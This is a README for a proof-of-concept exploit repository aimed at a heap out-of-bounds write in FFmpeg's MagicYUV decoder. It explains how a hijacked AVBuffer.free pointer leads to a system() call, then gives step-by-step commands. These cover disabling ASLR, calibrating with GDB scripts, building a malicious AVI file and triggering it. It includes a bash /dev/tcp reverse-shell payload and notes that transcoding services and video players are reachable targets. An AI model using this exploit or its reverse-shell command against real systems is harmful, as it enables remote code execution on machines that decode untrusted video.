CVE-2026-8461 "PixelSmash" — FFmpeg MagicYUV Heap OOB Write PoC

[!WARNING] This repository contains a working exploit PoC for a heap corruption vulnerability. It is intended solely for authorized security research, CTF contexts, and defensive analysis. Do not use against systems you do not own or have explicit written permission to test.

Affected: FFmpeg 8.0.1 MagicYUV decoder (libavcodec/magicyuv.c)
Primitive: Heap OOB write → AVBuffer.free hijack → system() call

---

Vulnerability

magy_decode_slice() uses sheight (unclamped slice height) as the loop bound for writing into the Cb/Cr output plane but allocates the buffer using the clamped height. On the last slice of a specially crafted frame, the loop writes past the end of the allocated region.

// magicyuv.c:291 — dst pointer is already at sheight×stride past buffer start
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
    dst[i] = get_vlc2(...);   // OOB write when sheight > height

The out-of-bounds write lands in a subsequently allocated AVBuffer struct. By controlling the written bytes, AVBuffer.free is overwritten with the address of system() and AVBuffer.opaque with the address of the command string on the heap. When the frame is freed, av_buffer_unref() calls system(cmd).

Full technical write-up: English · 中文

---

Files

File	Description
exploit_cve_2026_8461.py	Exploit AVI generator — crafts the malicious MagicYUV bitstream
auto_calibrate.py	Auto-calibration for debug builds (requires -g debug symbols)
auto_calibrate_nosym.py	Auto-calibration for production builds (stripped, shared-library)
CVE-2026-8461_Analysis_EN.md	Full vulnerability analysis (English)
CVE-2026-8461_Analysis.md	Full vulnerability analysis (中文)
ffmpeg_prod	Stripped production FFmpeg 8.0.1 binary for local testing

---

Requirements

Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0   (ASLR disabled — required for calibration)

Python dependencies: none (stdlib only).

---

Quick Start

Step 0 — Disable ASLR

sudo sysctl -w kernel.randomize_va_space=0

Step 1 — Generate calibration

Debug build (compiled with -g, e.g. from source with --enable-debug):

python3 auto_calibrate.py \
    --ffmpeg /path/to/ffmpeg-debug \
    --avi    /tmp/exploit.avi \
    -o       calibration.json

Production build (stripped shared-library, e.g. apt install ffmpeg or custom --enable-shared):

python3 auto_calibrate_nosym.py \
    --ffmpeg  /path/to/ffmpeg \
    --libpath /path/to/ffmpeg/lib \
    --avi     /tmp/exploit.avi \
    -o        calibration.json

The --avi path must be identical between calibration and exploit delivery. Changing the path string length shifts the heap layout and invalidates calibration.

Step 2 — Generate exploit AVI

python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "id > /tmp/pwned" \
    -o /tmp/exploit.avi

Step 3 — Trigger

# Debug build (statically linked)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -

# Production build (shared-library)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -

# System-installed FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -

Expected output: command executes, then process crashes with corrupted size vs. prev_size.

cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

Reverse shell example

python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    -o /tmp/exploit.avi

---

Calibration Script Decision Flow

Target FFmpeg binary
    │
    ├─ Has debug symbols?  (file ffmpeg | grep debug_info)
    │       └─ YES → auto_calibrate.py
    │
    └─ Stripped / production
            │
            ├─ Dynamically linked?  (ldd ffmpeg | grep libavutil)
            │       └─ YES → auto_calibrate_nosym.py
            │
            └─ Statically linked + fully stripped
                    └─ Neither script applies
                       (requires LD_PRELOAD malloc hook approach)

auto_calibrate_nosym.py works by:

1. Breaking on av_buffer_create (always present in libavutil.so .dynsym) to capture the Cb and Cr data pointers without needing source-level symbols.
2. Setting a GDB hardware write watchpoint on the OOB start address.
3. Walking the resulting heap dump to locate the AVBuffer struct and extract system() address.

---

Trigger Requirements

The exploit fires when the target decodes the video frame (not merely probes it):

Invocation	Triggers RCE
ffmpeg -i evil.avi -f null -	Yes
ffmpeg -i evil.avi -o out.mp4	Yes
Web transcoding service (libavcodec decode loop)	Yes
Video player using libavcodec	Yes
ffmpeg -i evil.avi (no output specified)	No — process aborts before av_buffer_unref fires
ffprobe evil.avi	No — probe-only path, no full decode

---

Baseline PoC (OOB write only, no payload)

To demonstrate the vulnerability without executing a command:

python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# crashes with: free(): invalid pointer  or  corrupted size vs. prev_size

---

Scope and Limitations

• Architecture: Developed and tested on x86_64 only. The exploit depends on a specific heap layout where the AVBuffer struct lands within 640 bytes of the Cb plane OOB start address. On aarch64, the glibc allocation order places AVBuffer beyond that range (the adjacent chunk is the ~10 KB Cr buffer), so the OOB write cannot reach it with the current frame geometry. Porting to aarch64 requires profiling the aarch64 heap layout and adjusting frame geometry accordingly.
• ASLR: Must be disabled (kernel.randomize_va_space=0). With ASLR enabled, heap addresses are randomized per-run and calibration does not apply. An info-leak primitive would be required to extend this to ASLR-on targets.
• Calibration scope: Valid for one specific binary on one specific machine. A different build, different libc version, or different AVI path length requires re-calibration.
• AVI path: The exploit AVI must be delivered via the same absolute path used during calibration.
• auto_calibrate_nosym.py: Requires a dynamically linked FFmpeg with libavutil.so accessible (either in system paths or via --libpath).